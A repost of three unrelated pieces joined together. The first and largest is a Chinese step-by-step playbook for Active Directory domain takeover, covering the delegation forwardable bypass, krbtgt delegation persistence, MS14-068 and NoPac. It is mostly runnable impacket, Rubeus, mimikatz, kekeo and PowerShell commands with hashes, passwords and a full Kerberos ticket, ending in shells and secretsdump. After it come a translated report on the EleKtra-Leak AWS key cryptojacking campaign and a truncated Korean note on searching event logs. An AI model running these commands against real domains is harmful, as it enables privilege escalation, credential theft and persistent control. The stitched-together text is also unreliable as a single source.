如果某域内账户设置了上述配置至少一个，那么为该域内账户申请服务票据时，该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1，但由于该服务票据ST1的ForWardable标志位0，那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。

ggdw5ae3w5f12438.png

xs1l1hd5cjt12440.png

观察上图，可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值，然后重新使用Service1密匙进加密后发送给KDC ，forwardable标志不在PAC中，所以KDC无法检测到该值是否已经被篡改。

vyfgqhgddhc12442.png

绕过限制后，攻击者就可以模拟目标用户与Service2进行交互。

漏洞利用

首先配置administrator账户为敏感账户，不可委派，且加入了Protected Users安全组。

配置委派的服务一为仅使用kerberos认证。

1dhua2spjdy12444.png

获取到服务一的HASH

WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec

利用工具进行委派攻击

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec

2vrc3adsbsf12449.png

发现无法生成对应票据。

添加-force-forwardable参数即可成功。

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable

xatigr4md0b12453.png

set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

tvyga2qeas212459.png

或者使用mimikatz将票据注入内存

kerberos::ptc administrator.ccache

nfu3l4waevm12464.png

dm1xzrtvxqi12467.png

使用委派进行权限维持

使用约束委派进行权限维持

TGT由krbtgt Hash加密，如果能通过委派krbtgt服务，那么就能伪造任意用户的TGT了。

由于krbtgt默认是禁用的，所以无法使用页面添加它的SPN。

域控通过powershell添加账户到krbtgt的约束委派。

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser WP

//添加机器账户的委派$user = Get-ADComputer WSUS-PC$

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/vvvv1.com") }

ypr2l4m1svf12471.png

利用impacket套件攻击

伪造administrator的TGT

python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45

python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec

导入票据

export KRB5CCNAME=administrator.ccache

用wmiexec弹出一个权限为administrator交互式的shell

python wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 10.10.10.10

导出域内哈希

python secretsdump.py -no-pass -k WIN-KONG.hiro.com

使用基于资源的约束委派进行权限维持

与约束委派的权限维持类似，我们可以配置某个服务账户到krbtgt的基于资源的约束委派，只要有了修改krbtgt的权限，就能伪造任意用户请求krbtgt服务，则可以请求到任意用户的TGT。

使用PowerView工具

3jvl3apefxl12473.png

S-1-5-21-3315874494-179465980-3412869843-502

使用AdFind查找可以修改krbtgt账户属性的账户

AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

ihy53nzfaza12475.png

在域控上执行：

//SID为weipai$的SID

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

lmdrducmuyv12476.png

验证是否成功添加，如果有返回值，则证明成功添加属性

Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity

//Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

gqfcpuc0orf12477.png

xsqwrs5xrpi12479.png

清除msds-allowedtoactonbehalfofotheridentity属性的值

Set-DomainObject krbtgt -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

eqqrslixps212480.png

rubeus

使用rubeus伪造administrator请求TGT

Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt

qhbn5scwss012482.png

irpehxevham12483.png

impacket工具包

使用impacket工具包也可以实现

python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45

set KRB5CCNAME=administrator.ccache

python wmiexec.py -no-pass -k administrator@ad-2016.vvvv1.com -dc-ip 10.10.10.10

PAC攻击

https://blog.csdn.net/shuteer_xu/article/details/129253005

PAC (Privilege Attribute Certificate，特权属性证书)，其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组， 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC，微软在自己的产品中所实现的Kerberos流程加入了PAC的概念，因为在域中不同权限的用户能够访问的资源是不同的，因此微软设计PAC用来辨别用户身份和权限。

在一个正常的Kerberos认证流程中，KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中， 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断， 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。

PAC中包含两个数字签名：**PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。**PAC_SERVER_CHECKSUM是使用服务密钥进行签名，而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先，存在带有服务密钥的签名，以验证此PAC由服务进行了签名。其次，带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。

这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前，必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的，默认不开启。它用于验证PAC是否由KDC签发，而不是由KDC以外的具有访问服务密钥的人放入票据中。

PAC中是有两个签名的：PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名，另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时，只能校验PAC_SERVER_CHECKSUM签名，而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此，正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话，服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。

但是，由于大部分服务默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名，默认未开启)，因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了，只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提，因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话，服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC，KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端，服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话，就算攻击者拥有服务密钥，可以制作ST服务票据，也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名，自然就无法通过KDC的签名校验了。

根据微软官方文档的描述，若要开启KDC校验PAC，需要有以下条件：

  • 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。
  • 应用程序是一个服务，验证KDC PAC签名的注册表项被设置为1，默认为0。修改方法如下：
  1. 启动注册表编辑器regedit.exe
  2. 找到以下子键：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
  3. 添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时，不会进行KDC PAC校验。该值为1时，会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。

对于验证KDC PAC签名这个注册表键值，有以下几点注意事项：

  1. 如果服务端并非一个服务程序，而是一个普通应用程序，它将不受以上注册表的影响，而总是进行KDC PAC校验。
  2. 如果服务端并非一个程序，而是一个驱动，其认证过程在系统内核内完成，它将不受以上注册表的影响，而永不进行PAC校验。
  3. 使用以上注册表项，需要在Windows Server 2003 SP2或更新的操作系统。
  4. 在运行Windows Server 2008或更新操作系统的服务器上，该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值)，也就是不进行KDC PAC校验。

注：需要说明的是，注册在本地系统帐户下的服务无论如何配置，都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务，则是注册在域内的服务)

因此，如果配置了KDC检验PAC的话，即使拥有服务密钥，生成了服务ST，也无法利用白银票据进行攻击，因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名，也就无法通过KDC的签名校验了。

MS14-068

MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名，由于其实现签名的加密允许所有的签名算法，只要客户端指定任意签名算法，KDC服务器就会使用指定的算法进行签名验证，因此可以利用不需要相关密钥的算法，如MD5，实现内容的任意更改，导致用户可以自己构造一张PAC，伪造用户的SID和所在的组，那么可以通过伪造PAC，加入域管相关信息，访问域控服务，KDC会认为当前用户有权限，从而把这个用户当作域管组的成员，进而达到提升为域管理员的效果。

使用该漏洞系统需未打MS14-068的补丁(KB3011780)，系统在windows server 2008及以下。

使用MS14-068的先决条件：

  • 域内任意⽤户 SID
  • 域内任意⽤户密码
使用MS14-068.exe

man1 0ec4b410903c6dc7594464f27d347497

man1 S-1-5-21-3315874494-179465980-3412869843-1110

MS14-068.exe -u man1@vvvv1.com -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10

//使用mimikatz导入票据文件

kerberos::ptc TGT_man1@vvvv1.com.ccache

auwakx13wl412485.png

使用GoldenPac.py

python goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#45@ad-2016.vvvv1.com

使用Kekeo.exe

kekeo.exe "exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt" "exit"

CVE-2021-42287&CVE-2021-42278(NoPac)

https://www.freebuf.com/vuls/317773.html

https://blog.csdn.net/weixin_44747030/article/details/127158385

CVE-2021-42278是一个安全绕过漏洞，允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比，机器账户的名称末尾附带了一个“$”符号，但是实际中，AD并没有验证域内机器账户中是否具有“$”，导致机器账户可以被假冒。

sAMAccountName（Security Account Manager Account Name）是Microsoft Windows中的一个属性，用于标识和表示用户和计算机账户。sAMAccountName是Active Directory（AD）中的一项属性，也适用于Windows Server域环境。

sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户，sAMAccountName通常是用户的登录名，例如"johnsmith"。

sAMAccountName属性主要用于内部引用和标识用户和计算机账户，它不包含完整的用户或计算机名称，而只是一个唯一的标识符。要获取完整的用户或计算机账户名称，可以使用其他属性，如User Principal Name（UPN）或Distinguished Name（DN）。

CVE-2021-42287是一个影响Kerberos特权属性证书（PAC）的安全绕过漏洞，允许通过假冒域控，使密钥分发中心（KDC）创建高权限票据。

根据认证Kerberos协议，在请求服务票证前需要先签发TGT（票据授权凭证）。但是，当为活动目录中不存在的账户请求服务票证时，密钥分发中心（KDC）将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合，测试人员可以实现域内权限提升。

大致流程如下：

  1. 当前已经拿下域内一台普通权限机器；
  2. 创建一个机器账户，假定为NOPAC1；
  3. 清除机器账户NOPAC1的servicePrincipalName属性；
  4. 修改机器账户NOPAC1的sAMAccountName属性，使其指向不带“$”符合的域控账户，相当于将该机器账户改名，如果域控名称为AD-2016$，就将该机器账户名称修改成AD-2016；
  5. 利用改名后的账户AD-2016请求TGT；
  6. 将新建的机器账户的sAMAccountName属性，使其恢复其原初始值（NOPAC1）或其他任意值即可；
  7. 利用S4U代表域管理员请求对应服务的服务票据（ST）；
  8. 伪造域管理员账户获得相应服务的ST；

为什么要清除机器账户NOPAC1的servicePrincipalName属性？

servicePrincipalName属性存储了该账户所注册的服务主体名称（SPN）。

在修改sAMAccountName值时，servicePrincipalName的值与sAMAccountName的值相关联，servicePrincipalName将使用新值自动更新。该漏洞利用时，会将sAMAccountName的值改成AD-2016，那么servicePrincipalName将试图更新AD-2016的SPN，而该SPN已经被域控所独占，那么就会引发报错。所以在修改机器账户的sAMAccountName属性前，需要将其servicePrincipalName属性清除。

为什么要使用S4U进行请求ST？

在S4U请求中，在KDC解析TGT的用户信息时，因为AD-2016不存在，因此会在后面添加“$”进行查找，也就是域控的机器账户。此时，该TGT被KDC认定为是域控机器账户的TGT，然后进行S4u2Self请求，伪造任意用户访问域控自身的服务，例如administrator用户，然后重新生成对应的PAC又写入ST中。（利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST，但是是否能使用该ST，取决于PAC中伪造的用户权限）

03wzxztqviv12487.png

KDC收到TGT认购权证后，利用krbtgt密钥对其解密，然后取出PAC。然后验证PAC的签名，如果签名正确，则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说，ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话，KDC在拷贝PAC的时候，也是拷贝的空的，这就意味着ST服务票据中也没有PAC。因此，需要使用S4u2Self重新生成PAC进行利用。

对于无论用户有没有访问服务的权限，只要TGT正确，就会返回ST，该ST为何无法利用？

利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST，在生成ST的过程中并将高权限PAC写入ST，使得该ST可以被转发使用。但是实际上PAC是无法修改的，对于低权限用户生成的访问某些服务的ST，即使TGT正确，生成的ST由于其中的PAC权限过低，导致无法使用。

具体过程

使用工具Powermad，添加名为NOPAC2$，密码为User!@#45的机器账户。

powershell -exec bypass

Import-Module .\Powermad.ps1

$password = ConvertTo-SecureString 'User!@#45' -AsPlainText -Force

New-MachineAccount -MachineAccount "NOPAC2" -Password $($password) -Domain "vvvv1.com" -DomainController "ad-2016.vvvv1.com" -Verbose

itim0vamhaf12489.png

如下图所示添加成功。

gte4enadavz12490.png

使用工具PowerView，清除机器账户NOPAC2$的service-PrincipalName属性

Import-Module .\PowerView.ps1

Set-DomainObject "CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com" -Clear 'serviceprincipalname' -Verbose

使用ADExplorer查看机器账户属性，发现已经删除service-PrincipalName属性

04pbxn3i2bo12492.png

修改机器账户的sAMAccountName属性，使其指向不带"$"符号的域控机器账户。

Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value "AD-2016" -Attribute "samaccountname" -Verbose

1e3f23beldc12494.png

arostive0s112496.png

使用工具Rubeus工具为账户AD-2016请求TGT。

Rubeus.exe asktgt /user:"ad-2016" /password:"User!@#45" /domian:"vvvv1.com" /dc:"ad-2016.vvvv1.com" /nowrap

zdiaqq4b15y12497.png

2dk5q51nhsd12499.png

获取到TGT后，恢复原机器名，或修改成其他任意机器名。

Set-MachineAccountAttribute -MachineAccount "NOPAC2" -Value "NOPAC2$" -Attribute samaccountname -Verbose

jqkynpjw4cx12501.png

Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD-2016.vvvv1.com" /dc:"AD-2016.vvvv1.com" /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMjMwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t

c05pqi2w0kg12502.png

xicnusnyx4412503.png

验证成功。

drzrljmivtz12505.png

另外其他工具的方法可以参考如下链接。

https://blog.csdn.net/weixin_44747030/article/details/127158385

使用noPac.exe

将编译好的noPac.exe上传到普通域用户 的主机，执行以下命令，创建一个名为NOPAC1的机器账户，获得一个针对域控的CIFS服务的票据，并将该票据传递到内存中。

noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt

pqzrbzx1pke12506.png

eqjxut5wp0d12508.png

注意，如果该机器账户名已存在，则会报错。

3erdm2wysyq12509.png


转账自原文链接地址： https://forum.butian.net/share/3680
HireHackking

相關研究人員最近發現了一個異常活躍的攻擊活動，研究人員稱之為EleKtra-Leak，它會自動竊取GitHub公共存儲庫中洩漏的身份和訪問管理(IAM)密鑰。因此，與該活動相關的攻擊者能夠創建多個AWS彈性計算(EC2)實例，用於廣泛和持久的加密劫持。

分析發現，攻擊者能夠在五分鐘內識別並使用GitHub上首次洩漏的IAM密鑰，這一發現證明了攻擊者是如何利用云自動化技術來實現擴展加密劫持的目標。攻擊者似乎使用自動化工具不斷複製公共GitHub存儲庫，並掃描洩漏的亞馬遜網絡服務(AWS) IAM密鑰。

分析過程調查過程中，研究發現，攻擊者可能會識別頻繁出現的AWS賬戶id，以阻止這些賬戶id免受未來的攻擊或自動化腳本的攻擊。因此，研究人員設計了一種新穎的調查架構來動態創建和洩漏不可歸因的AWS密鑰。

多年來，攻擊者越來越多地使用GitHub作為攻擊的初始載體。 GitHub的一個強大功能是它能夠列出所有公共存儲庫，這使得開發人員和攻擊者能夠實時跟踪新的存儲庫。

考慮到這個功能，研究人員選擇GitHub作為其竊取AWS密鑰的實驗平台，將明文洩露的密鑰寫入新創建的GitHub存儲庫中的文件中，該存儲庫是研究人員隨機選擇並從公共GitHub存儲庫列表中復制的。研究人員將AWS密鑰洩露到復制存儲庫中隨機創建的文件中，然後在成功提交後將其刪除。

一旦將竊取的密鑰提交到存儲庫，研究人員就會立即刪除了它們。最初，IAM密鑰使用Base64編碼。然而，儘管像trufflehog這樣的工具可以找到洩漏的Base64 IAM密鑰，但事實上沒有攻擊者能找到密鑰。

研究人員認為，攻擊者目前沒有使用能夠解碼base64編碼密鑰的工具，其中一個原因可能是因為這些工具有時會產生噪音並產生許多誤報。

研究人員隨後進行了以明文形式洩露AWS密鑰的實驗，攻擊者發現這些都是明文寫的，隱藏在過去提交的一個隨機文件中，並添加到復制的repo中。

GitHub掃描當研究人員在GitHub中洩漏AWS密鑰時，GitHub的秘密掃描功能發現了它們，然後GitHub以編程方式通知AWS洩漏的秘鑰。這導致AWS自動將隔離策略應用於與密鑰關聯的用戶，稱為AWSCompromisedKeyQuarantine。

最初，研究人員保留了AWS awspromisedkeyquarantine策略，在攻擊者測試洩漏的密鑰時被動地監控研究人員的偵察。研究人員有意將AWS隔離策略替換為原始的IAM策略，以進一步了解整個活動。

需要注意的是，應用AWS隔離策略不是因為攻擊者發起了攻擊，而是因為AWS在GitHub中發現了密鑰。研究人員認為，攻擊者可能能夠找到AWS未自動檢測到的已洩漏的AWS密鑰，並隨後在AWSCompromisedKeyQuarantine策略之外控制這些密鑰。

在研究人員使用洩露密鑰進行的實驗中，攻擊者在AWS應用隔離策略後四分鐘內開始。下圖顯示了這些活動的時間軸。

1.png

攻擊者的活動時間軸

上圖最後一行顯示，從CloudTrail事件AttachUserPolicy開始，AWS在時間13：30：22時應用隔離策略。僅僅四分鐘後，在13：34：15，攻擊者開始使用AWS API descripregions進行偵察。 CloudTrail是一個審計工具，它記錄在配置的雲資源中發生的和事件。

攻擊結構下圖顯示了整個自動化攻擊結構。 GitHub公共存儲庫被實時掃描，一旦找到密鑰，攻擊者的自動化就會開始。

2.png

Operation CloudKeys架構

下圖顯示，攻擊者首先執行AWS帳戶偵察。

3.png

AWS帳戶偵察

在偵察之後，攻擊者創建AWS安全組，然後在任何可訪問的AWS區域上最終啟動每個區域的多個EC2實例。

4.png

修改安全組並啟動第一個EC2實例

研究人員收集的數據表明，攻擊者的自動化是在VPN環境中進行的。根據CloudTrail的日誌記錄，研究人員在多個地區重複了相同的操作，總共產生了400多個API調用，加起來只用了7分鐘。這表明攻擊者成功地隱藏了自己的身份，同時對AWS賬戶環境發起了自動攻擊。

啟動實例和配置一旦發現AWS密鑰，自動化的一部分將包括在不同地區運行實例的攻擊者。下圖顯示了有關實例類型及其跨多個區域分佈的統計信息。

攻擊者使用大格式雲虛擬機執行操作，特別是c5a.24xlarge AWS實例。加密挖礦操作通常使用大格式雲實例，因為它們將提高處理能力，使加密劫持者能夠在更短的時間內挖掘更多加密貨幣。

5.png

跨區域實例化的AWS EC2實例類型

CloudTrail日誌中沒有記錄用戶數據。為了捕獲數據，研究人員對EC2卷執行了取證分析。

如下圖所示，挖礦自動化在挖礦軟件啟動EC2配置過程中自動顯示用戶數據。

6.png

挖礦軟件的配置腳本

下圖顯示了存儲在Google Drive中的有效負載。 Google Driveurl在設計上是匿名的，無法將此URL映射到谷歌Cloud用戶帳戶。下載的有效負載被加密存儲，然後在下載時解密，如第6行所示。

有效負載是一個已知的挖掘工具，哈希值可以與之前的研究相關聯，研究人員認為相同的攻擊者使用公開洩漏的Docker服務來執行加密劫持。他們還確定了提交給VirusTotal的報告，這些報告具有相同的哈希，並使用相同的持久化命名約定(“appworker”)，如下圖所示。

7.png

共享相同元數據的已知加密挖掘二進製文件

攻擊者使用的AMI（Amazon Machine Image類型也很獨特，它是用於創建虛擬服務器(即AWS 環境中的EC2 實例)的主映像。被識別的映像是私有的，它們沒有在AWS市場上列出。下圖顯示了使用以下AMI實例的id。

8.png

私有AMI映像id列表

其中一些圖片是Ubuntu 18版本。研究人員認為，所有這些攻擊指標(ioc)都表明，這是一個至少可以追溯到2020年的長期挖礦活動。

挖礦活動跟踪如上所述，EC2實例通過EC2用戶數據接收它們的挖掘配置。該配置包含每個挖礦軟件用於傳播其開采的門羅幣的門羅幣錢包地址。

根據其架構，研究人員可以推測錢包地址是獨立用於AWS挖礦的。如果是這種情況，連接到池的每個工件都代表一個單獨的Amazon EC2實例。

攻擊者用於此操作的挖掘池是SupportXMR挖掘池。礦池用於加密挖礦，作為多個挖礦軟件共同工作的工作空間，以增加成功挖礦的機會。

考慮到SupportXMR服務只提供某時間段的統計數據，研究人員對錢包進行了數週的監控並提取了挖掘統計數據。下圖顯示了獨立挖礦軟件的數量。

9.png

XMR挖礦軟件數量統計

在2023年8月30日至2023年10月6日期間，總共出現了474個獨立挖礦軟件，研究人員可以將其解釋為在此期間記錄的474個獨立的Amazon EC2實例執行挖礦。由於攻擊者挖的是門羅幣(Monero)，這是一種包含隱私控制的加密貨幣，因此研究人員無法跟踪錢包來獲得攻擊者獲得挖礦貨幣的確切數字。

研究人員將繼續監控這一挖礦活動。這與Unit 42觀察到的攻擊者使用可信業務應用程序逃避檢測的發現一致。

架構分析為了開展研究，Prisma雲安全研究團隊創建了一個名為HoneyCloud的工具，這是一個完全可攻擊和可複制的雲環境，包含以下功能：

跟踪惡意操作；

跟踪雲攻擊者的行動；

發現新的雲攻擊路徑；

構建更好的雲防禦解決方案。

研究人員使用IaC模板為Terraform創建了一個半隨機的AWS基礎設施。 Terraform是一個IaC配置工具，用於管理和維護雲基礎設施，這個工具允許研究人員使用定時調度和人工分析來創建和破壞基礎設施。

由於研究人員之前的AWS賬戶ID被添加到攻擊者的黑名單中，他們進行了一個Terraform設計。該設計在生成的AWS賬戶中引入了一定數量的隨機性，其新創建的基礎設施幫助研究人員避免了攻擊者匹配或識別以前IAM密鑰洩漏的操作。

研究人員還設計了Terraform自動化，根據攻擊者在AWS賬戶中執行的活動，使用不同類型的IAM策略，該策略或多或少會限制IAM權限。

在本次調查中，研究人員遇到的最大障礙便是AWS在應用隔離策略，以防止惡意方面的反應速度速度。 AWS在GitHub上洩露AWS密鑰後兩分鐘內實施了隔離政策。

AWS隔離策略本可以成功阻止此攻擊。然而，在分析了挖礦活動之後，研究人員發現了更多的挖礦實例，這可能是因為密鑰以不同的方式或在不同的平台上被洩漏。

為了方便研究，研究人員被迫重寫隔離策略，以確保研究人員能夠跟踪攻擊者的操作。為了執行此操作，研究人員創建了一個單獨的監控工具，以恢復我們計劃破壞的原始過度寬鬆的AWS安全策略。

自動生成AWS雲下圖顯示了用於公開AWS IAM憑據並隨後監控針對它們採取操作的總IaC架構。

10.png

使用AWS複製和監控GitHub存儲庫

所設計架構的IaC模板負責隨機選擇GitHub存儲庫，複製和洩漏AWS IAM密鑰作為過去提交的隨機文件。在AWS方面，使用相同的AWS管理組織和集中式CloudTrail日誌存儲，為IaC模板執行的每次迭代動態創建新的AWS帳戶。

研究人員還在AWS管理帳戶中開發並部署了一個額外的lambda函數，該函數作為監控器收集基礎設施更改並跟踪IAM用戶策略更改。

IaC模板的主要目標之一是保持AWS基礎設施組件盡可能隨機，以避免被攻擊者發現並阻止。另一個目標是允許定期和精確地摧毀基礎設施，以便快速和系統地開始新的環境和變量。通過這種方式，攻擊者只能將AWS IAM密鑰視為全新AWS環境的一部分，而不是研究環境的一部分。

總結分析發現，攻擊者掃描了公共GitHub存儲庫中洩漏的AWS IAM秘鑰。研究人員發現，AWS IAM密鑰在公共GitHub存儲庫中洩漏僅五分鐘後便可以檢測並啟動全面的挖礦。

該活動至少從2020年就開始了，儘管AWS隔離政策取得了成功，但該活動在受害帳戶的數量和頻率上仍然持續波動，研究人員認為關注洩漏的GitHub秘鑰或亞馬遜EC2實例目標僅僅是攻擊目標之一。

為了方便分析，研究人員開發了一個半自動化的IaC Terraform架構來跟踪該攻擊活動，其中就包括動態創建旨在被破壞和銷毀的AWS賬戶。

緩解策略1.使用AWS隔離策略；

2.使用Amazon Lightsail，在洩漏的IAM密鑰提交到GitHub存儲庫的幾分鐘內，AWS啟動了此隔離。這一隔離策略必須正確使用，以確保潛在的攻擊者不會利用敏感的雲數據、服務和資源。

無意中洩漏AWS IAM秘鑰的組織應立即撤銷使用該秘鑰建立的任何API連接，還應從其GitHub存儲庫中刪除AWS IAM秘鑰，並生成新的AWS IAM秘鑰以實現所需功能。

HireHackking

도메인의 로그는 일반적으로 .evtx로 끝나므로 DIR 명령을 사용하려면 도메인의 로그를 검색해야합니다.

dir/s/b *.evtx

/s : 하위 디렉터를 포함한 재귀 검색을 의미합니다.

/b : 결과가 간결한 모드로 표시되며 다른 정보없이 파일 경로 만 표시됩니다.

여기서 우리는 로그 패러 도구를 직접 사용하여 도메인의 로그 정보를 내보낼 수 있습니다. (도메인 제어 호스트에서)

LogparSer 도구는 필터링을 위해 SQL 쿼리 메소드를 사용합니다.

다음 지침을 사용하여 문자열 열 및 EventId 열을 통해 도메인에서 사용자의 로그인 동작을 필터링하십시오.

